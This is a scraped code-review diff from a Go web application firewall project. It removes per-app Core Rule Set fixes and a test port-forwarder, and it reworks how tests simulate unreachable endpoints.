SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
|
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
|
||||||
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
|
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
|
||||||
|
|
||||||
SecMarker END_WORDPRESS
|
|
||||||
@@ -10,7 +10,6 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
@@ -22,7 +21,6 @@ const (
|
|||||||
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
||||||
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
||||||
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
||||||
apps = "SWW_APPS"
|
|
||||||
block = "block"
|
block = "block"
|
||||||
detect = "detect"
|
detect = "detect"
|
||||||
)
|
)
|
||||||
@@ -292,27 +290,6 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// Only gitea's fixes let a file name through in path, a parameter
|
|
||||||
// gitea sends file names in.
|
|
||||||
const fileName = "/?path=.gitignore"
|
|
||||||
|
|
||||||
s := startDiscriminator(t, "", map[string]string{
|
|
||||||
wafMode: block, apps: siteA + ":gitea",
|
|
||||||
})
|
|
||||||
|
|
||||||
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
|
|
||||||
http.StatusOK, discriminator.DispositionAllow)
|
|
||||||
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
|
|
||||||
http.StatusForbidden, discriminator.DispositionDeny)
|
|
||||||
|
|
||||||
lines := s.out.requestLines(t, 2)
|
|
||||||
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
|
|
||||||
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
|
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -221,8 +221,7 @@ func newReputation(
|
|||||||
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
|
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
|
||||||
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
|
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
|
||||||
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
|
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
|
||||||
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS,
|
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
|
||||||
// or nil while SWW_WAF_MODE is off. It
|
|
||||||
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
||||||
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
|
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
|
||||||
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
|
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
|
||||||
@@ -237,7 +236,6 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
|
|||||||
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
|
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
|
||||||
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
|
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
|
||||||
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
||||||
Apps: cfg.Apps,
|
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
|
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
|
||||||
|
|||||||
@@ -153,10 +153,14 @@ func TestUnsetRouteWatchChangesNothing(t *testing.T) {
|
|||||||
func TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy(t *testing.T) {
|
func TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// Another test can take a closed server's port at once, so routewatch's
|
// A stand-in that is closed at once, so that the port refuses connections.
|
||||||
// address here is a multicast address, to which TCP cannot connect.
|
dead := httptest.NewServer(http.NotFoundHandler())
|
||||||
|
url := dead.URL
|
||||||
|
|
||||||
|
dead.Close()
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
s, _, _ := startWithClock(t, "", map[string]string{
|
||||||
lookupSource: off, routeWatchURL: "http://224.0.0.1",
|
lookupSource: off, routeWatchURL: url,
|
||||||
})
|
})
|
||||||
|
|
||||||
wantTagsMissing(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
wantTagsMissing(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
||||||
|
|||||||
@@ -239,17 +239,12 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
|
func TestRefusedConnectionFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
f := newFixture(t, answering(routedAnswer))
|
f := newFixture(t, answering(routedAnswer))
|
||||||
|
|
||||||
// Another test can take a closed server's port at once, so routewatch's
|
f.server.Close()
|
||||||
// address here is a multicast address, to which TCP cannot connect.
|
|
||||||
f.client = routewatch.New(routewatch.Params{
|
|
||||||
URL: "http://224.0.0.1/", Now: f.clk.Now,
|
|
||||||
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
|
|
||||||
})
|
|
||||||
|
|
||||||
f.route()
|
f.route()
|
||||||
f.waitFor(routewatch.RequestFailed)
|
f.waitFor(routewatch.RequestFailed)
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"encoding/pem"
|
"encoding/pem"
|
||||||
"io"
|
"io"
|
||||||
|
"maps"
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/http/httptest"
|
"net/http/httptest"
|
||||||
@@ -13,7 +14,6 @@ import (
|
|||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
|
||||||
"sync/atomic"
|
"sync/atomic"
|
||||||
"syscall"
|
"syscall"
|
||||||
"testing"
|
"testing"
|
||||||
@@ -195,13 +195,7 @@ func TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain(t *testing.T)
|
|||||||
|
|
||||||
env := discriminatorSettings(t)
|
env := discriminatorSettings(t)
|
||||||
addr, _, stop := startDiscriminator(t, env)
|
addr, _, stop := startDiscriminator(t, env)
|
||||||
|
site, out := startRProxy(t, "http://"+addr, startApp(t))
|
||||||
// rproxy asks discriminator through an address the test holds throughout,
|
|
||||||
// so no other test can take it while discriminator is stopped.
|
|
||||||
backend, forwardTo := startForwarder(t)
|
|
||||||
forwardTo(addr)
|
|
||||||
|
|
||||||
site, out := startRProxy(t, "http://"+backend, startApp(t))
|
|
||||||
|
|
||||||
// A visitor who keeps asking throughout, and is never refused.
|
// A visitor who keeps asking throughout, and is never refused.
|
||||||
visitorDone := make(chan struct{})
|
visitorDone := make(chan struct{})
|
||||||
@@ -227,10 +221,6 @@ func TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain(t *testing.T)
|
|||||||
|
|
||||||
wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
|
wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
|
||||||
wantStatus(t, site+"/", placed, http.StatusForbidden)
|
wantStatus(t, site+"/", placed, http.StatusForbidden)
|
||||||
|
|
||||||
// rproxy's connections are closed at once from here, before discriminator
|
|
||||||
// stops and frees its port.
|
|
||||||
forwardTo("")
|
|
||||||
stop()
|
stop()
|
||||||
|
|
||||||
// With discriminator down, the site answers, and rproxy says the default did it.
|
// With discriminator down, the site answers, and rproxy says the default did it.
|
||||||
@@ -242,14 +232,12 @@ func TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain(t *testing.T)
|
|||||||
t.Errorf("rproxy's line is %v", line)
|
t.Errorf("rproxy's line is %v", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Started again with its state files, it applies the ban again.
|
// Back at its address, with its state files, it applies the ban again.
|
||||||
addr, _, stop = startDiscriminator(t, env)
|
restarted := maps.Clone(env)
|
||||||
forwardTo(addr)
|
restarted[listenAddr] = addr
|
||||||
|
_, _, stop = startDiscriminator(t, restarted)
|
||||||
|
|
||||||
defer func() {
|
defer stop()
|
||||||
forwardTo("")
|
|
||||||
stop()
|
|
||||||
}()
|
|
||||||
|
|
||||||
wantStatus(t, site+"/", placed, http.StatusForbidden)
|
wantStatus(t, site+"/", placed, http.StatusForbidden)
|
||||||
|
|
||||||
@@ -261,83 +249,6 @@ func TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain(t *testing.T)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// startForwarder listens at a free port until the test ends, and returns its
|
|
||||||
// address and what sets the address it forwards to. It forwards each
|
|
||||||
// connection it takes to that address, and closes the connection at once while
|
|
||||||
// the address is "".
|
|
||||||
func startForwarder(t *testing.T) (string, func(addr string)) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
ctx := t.Context()
|
|
||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", localhost+":0")
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("listen: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
t.Cleanup(func() {
|
|
||||||
_ = listener.Close()
|
|
||||||
})
|
|
||||||
|
|
||||||
var (
|
|
||||||
mu sync.Mutex
|
|
||||||
to string
|
|
||||||
)
|
|
||||||
|
|
||||||
// dial connects to the address set, and returns nil while it is "". It
|
|
||||||
// holds the lock throughout, so once another address is set, nothing
|
|
||||||
// connects to the one before.
|
|
||||||
dial := func() net.Conn {
|
|
||||||
mu.Lock()
|
|
||||||
defer mu.Unlock()
|
|
||||||
|
|
||||||
if to == "" {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", to)
|
|
||||||
if err != nil {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
return conn
|
|
||||||
}
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
for {
|
|
||||||
conn, err := listener.Accept()
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
upstream := dial()
|
|
||||||
if upstream == nil {
|
|
||||||
_ = conn.Close()
|
|
||||||
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
go pipe(upstream, conn)
|
|
||||||
go pipe(conn, upstream)
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
|
|
||||||
return listener.Addr().String(), func(addr string) {
|
|
||||||
mu.Lock()
|
|
||||||
defer mu.Unlock()
|
|
||||||
|
|
||||||
to = addr
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// pipe copies src to dst until src ends, then closes both, which ends the copy
|
|
||||||
// the other way too.
|
|
||||||
func pipe(dst, src net.Conn) {
|
|
||||||
_, _ = io.Copy(dst, src)
|
|
||||||
_ = dst.Close()
|
|
||||||
_ = src.Close()
|
|
||||||
}
|
|
||||||
|
|
||||||
// answersNormally reports whether a request to url from the client at from, as
|
// answersNormally reports whether a request to url from the client at from, as
|
||||||
// X-Forwarded-For names it, gets the app's answer.
|
// X-Forwarded-For names it, gets the app's answer.
|
||||||
func answersNormally(ctx context.Context, url, from string) bool {
|
func answersNormally(ctx context.Context, url, from string) bool {
|
||||||
|
|||||||
@@ -975,20 +975,9 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
|
|||||||
t.Errorf("no line dropped in the metrics:\n%s", metrics)
|
t.Errorf("no line dropped in the metrics:\n%s", metrics)
|
||||||
}
|
}
|
||||||
|
|
||||||
// From here the endpoint closes each connection it takes, so the
|
// Closed, the endpoint refuses the connection made to send the
|
||||||
// one made to send the lines still waiting at the stop fails at
|
// lines still waiting at the stop, which then does not wait.
|
||||||
// once. Closing the endpoint instead would free its port for
|
_ = endpoint.Close()
|
||||||
// another test to take.
|
|
||||||
go func() {
|
|
||||||
for {
|
|
||||||
conn, err := endpoint.Accept()
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
_ = conn.Close()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
})
|
})
|
||||||
|
|
||||||
out.line(t, "type", "request")
|
out.line(t, "type", "request")
|
||||||
|
|||||||
Reference in new issue
Block a user